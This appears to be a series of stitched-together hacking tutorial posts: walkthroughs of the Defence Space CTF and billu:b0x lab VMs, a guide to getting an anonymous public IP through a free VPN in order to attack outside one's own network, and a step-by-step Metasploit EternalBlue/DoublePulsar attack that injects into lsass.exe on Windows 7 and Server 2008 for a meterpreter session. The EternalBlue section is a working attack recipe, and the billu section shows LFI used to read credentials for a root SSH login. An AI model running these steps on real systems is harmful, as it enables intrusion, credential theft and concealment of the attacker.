Hack the Defense CTF (CTF Challenge)

Defence VM is made by Silex Secure team. This VM is designed to honor and pay respects to the military of Nigeria and the soldiers who stood up against the terrorist attack. It is of intermediate level and is very handy in order to brush up your skills as a penetration tester. You can download it from àhttps://www.vulnhub.com/entry/defence-space-ctf-2017,179/

Are you ready for the challenge soldier? First step to attack is to identify the target. So, identify your target. To identify the target we will use the following command:


netdiscover


Now that you have identify your target (mine is 192.168.1.17) you will need to acquire it and declare you victory.  In order to acquire it we will need a plan to enter our enemy. To let us search for all the doors, closed or not. And for that let’s fire up the nmap.
nmap  -p- -A 192.168.1.17


Our search has led us to the result that Port nos. 21, 80,443, 2225 is open with the services of FTP, HTTP, HTTPS, SSH respectively. As the port 80 is open we can open our target IP in the browser.


But there is no hint or what-so-ever in there. But as this based on military aspects the hint could be camouflaged. Therefore let’s check the source code.

And yes!! We have found the flag 0 although it is coded base64. Upon decoding it will become netdiscover.

As the source is unknown territory, I inspected more and found that there was a directory which proved to be very useful : assests/lafiya.js


Open the said directory in browser and check it source code. In the source code you will find flag 1 which will be in hex.


Upon converting hex you will uncover flag 2 in an MD5 form.


When you convert MD5 value to its original, it will be nmap as shown in the image below.


The second flag was nmap that means there is something the nmap that we missed. And upon reviewing it I remembered that SSH service was open on the port 2225. And so I accessed it with the following command.
ssh 192.168.1.17 –p 2225


And there we have it our flag 2B in an MD5 value. Let’s convert it.


Our flag 2B is encrypt. That means there is something related to encryption and security. Now the best way to provide security to a website is through it security certificate. Let’s check it out.


Now, upon examining the certificate, you will find your third flag and a hint i.e [39 39 30].


Firstly, decode the flag which will be unit.


The combination of 3, 9, 0 will be the suffix of the word unit. But there are a lot of combination foe it so let’s create those combinations with the help of crunch with command:
crunch 3 3 390


We will get 27 possible combinations and so make a text file for dictionary attack and add the word ‘unit’ as a prefix to every combination. Now let’s use dirb to find anything related to unit and these combinations.
dirb http://192.168.1.17 /rot/Desktop/dict.txt


To our joy there is a directory that goes by unit990. Let’s open it in our browser without further delay.


We do not have credentials for logging in. So, I checked it source code instead. In the source code you will find flag 4 in a base64 code.


Decode the flag and you will get admin.php



Opening the previously found directory in the browser will show the same page but its source code is edited. As you will check it, you will find that flag 5 again in base64 code.


By decoding flag 5 you will get SQL injection. That means next step should be SQL injection.


Now this hint is just to throw us of our track. I used every SQL injection technique I could find but it didn’t help. So I used dirb on the target.

dirb http://192.168.1.17


I found a directory called assets. And opened it in the browser and found the 7th flag.


Now try and decode it widgets.

Now you can try and decode it but it’s hopeless to decode it anywhere online. So examined the dirb result more and found another directory called phpmyadmin


If you open this directory in browser you will find a log in page. I used the top 10 most commonly used password and username i.e root and root and got in. In the database I found a silex table. Now silex is the team’s name so I guess this is most important table.


Upon checking it, I found admin and in admin there was our 6th flag coded in base64


Upon decoding, it says Nigiarforcecloud.


And voila!! All our flags are uncovered. Good work soldiers. Solving this VM was good exercise and I salute the fallen Nigerian soldiers and wish them peace and praise the whole army.

How to use Public IP on Kali Linux

Today through this article you will learn how an attacker can use anonymous VPN service to occupy public IP which will surly expand the area of your target list and you will be able to attack outside your network also.
Let’s Start!
In your kali Linux Open the terminal and type following command to start pptp service for VPN configuration.

apt-get install network-manager-pptp


apt-get install network-manager-pptp-gnome


Ipjetable.net is the web site which provides free VPN service to their registered users but this site will open through proxy server so therefore I took help of free-proxy.xyz to open ipjettable.net web page.


Here you need to unlock the website so that you can use open vpn service anonymously. Click on I subscribe tab. Here I had Google translator.


Then it requires registration for unlocking VPN service now gives your email id for registration. I had use temporary email id for registration.


When you will register into web site it will send you a mail in your inbox which contains username and password that we will use for VPN login. In given screenshot you can observe we have highlighted the link, copy this link.


Now past above copied link inside free-proxy.xyz as done above for unlocking login page for VPN service.
When you will unlock it, the given below web page will gets open inside browser which will ask for login credential now give username and password which have received through mail.


Now click on install ipjetable which start VPN service installation for your local network.


Inside your kali Linux click on power icon available on right side corner of screen to configuration VPN then select wired connected.


Now click on (+) “plus” to add new network connection.


Select point to point tunneling protocol


Now add username and password to connect which VPN server. Then click on advance tab and select radio button store password only for this user.


From given screenshot select the check box for PPTP authentication and encryption then once all configurations is completed click on ok. Till here we have configured VPN service successfully in our kali linux.


Let check our vpn IP that we have occupied 
Ifconfig
From screenshot you can read 192.168.0.102 is my local ip and 141.255.151.15 is our public IP now use this IP for your attack even outside of your network also.

Exploit Remote Windows PC with Eternalblue & Doublepulsar Exploit in Metasploit

Through this article we are sharing recent zero day exploit which requires metasploit framework to shoot any other windows based system. This exploit is combination of two tools “Eternal Blue” which is use as backdooring in windows and “Doublepulsar” which is used for injecting dll file with the help of payload. So we will manually add this exploit in metasploit framework and step up for attacking window server 2008.

Attacker: kali Linux
Target: window 7 and window server 2008

Let’s Start!
Open the terminal in Kali Linux and type following command to download this exploit from git hub.

Git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git


Once the required exploit will get downloaded then open the folder and copy Eternal Blue- Doublepulsar .rb ruby file so that we can add this exploit inside metasploit.


Now past the copied ruby file inside given path Usr/share/metasploit Framework /module/exploits/windows/smb which will add this exploit inside metasploit framework.


Then load metasploit framework to start and type following for testing zero day exploit
Msfconsole
This module exploits vulnerability on SMBv1 and SMBv2 protocols through eternalblue. After that doublepulsar is used to inject remotely a malicious dll.
Use windows/smb/eternalblue_doublepulsar
Msf exploit (eternalblue_doublepulsar)> set eternalbluepath /root/Desktop/ eternalblue_doublepulsar-metasploit/deps
Msf exploit (eternalblue_doublepulsar)> set doublepulsarpath /root/Desktop/ eternalblue_doublepulsar-metasploit/deps
Msf exploit (eternalblue_doublepulsar)>set targetarchitecture x64
Msf exploit (eternalblue_doublepulsar)>set processinject lsass.exe
Msf exploit (eternalblue_doublepulsar)>set lhost 192.168.1.6
Msf exploit (eternalblue_doublepulsar)>set rhost 192.168.1.104
Msf exploit (eternalblue_doublepulsar)>exploit

Hence from screenshot you can observer only we need to set target’s architecture and IP before launching exploit and then when all information is set then launch your attack which will give you meterpreter session successfully like I have owned.


Hack the billu: b0x VM (Boot2root Challenge)

Hi friends! Once again we are here with a new vulnerable lab challenge “Billu Box” .created by Manish Kishan Tanwar  It is very simple and easy especially for beginners to complete the challenges, mainly attacker need to escalate privileges to gain root access. You can download it from here.

Let’s breach!!!

Open the terminal in your Kali Linux scan your network using netdiscover command and hence from scanning result I got target IP 192.168.1.102


Then use nmap aggressive scan for port and protocol enumeration:
Nmap –p- -A 192.168.0.102
So here I found port 22 and 80 are opened for SSH and HTTP respectively.


Since port 80 is open so I explore target IP on browser but here I didn’t get any remarkable result.


Without wasting time I choose another tool dirb for directories brute force attack. To start brute force attack for directories

Awesome! We have stepped up in right direction and dug out many directories but when you will see the given screenshot there I had highlighted the “test” directories. So now I will go with test directory.


So when I open test.php file in the browser here I found a message “file parameter is empty please provide file path in file parameter” where file parameter is vulnerable to LFI.

Using hackbar tool which is Firefox plug-in and Taking advantage of LFI vulnerability I try to include index.php in file parameter from file=index.php


So when I open index.php file here I found another file c.php is included.


So again with help of hackbar I look for c.php file from file=c.php for further enumeration so that we can find some clue to exploit the target.


When I read c.php file here I got some information related to connected database and the highlighted text is reflecting like credential for database.


If you remembered the result of dirb tool here it had revealed another directory which is phpmy so therefore I will go with phpmy for further enumeration.


Then again taking advantage LFI I explore config.inc.php from file=/var/www/phpmy/config.inc.php


Last but not least we have finally achieve something very remarkable and in the given screenshot you can read from config.inc.php file I have found server’s login username and password root: toor respectively.


From port enumeration result we have found port 22 is open for ssh therefore I will try root: toor for ssh login. When I use these credential for ssh login successfully I got root access hence the given challenge is completed.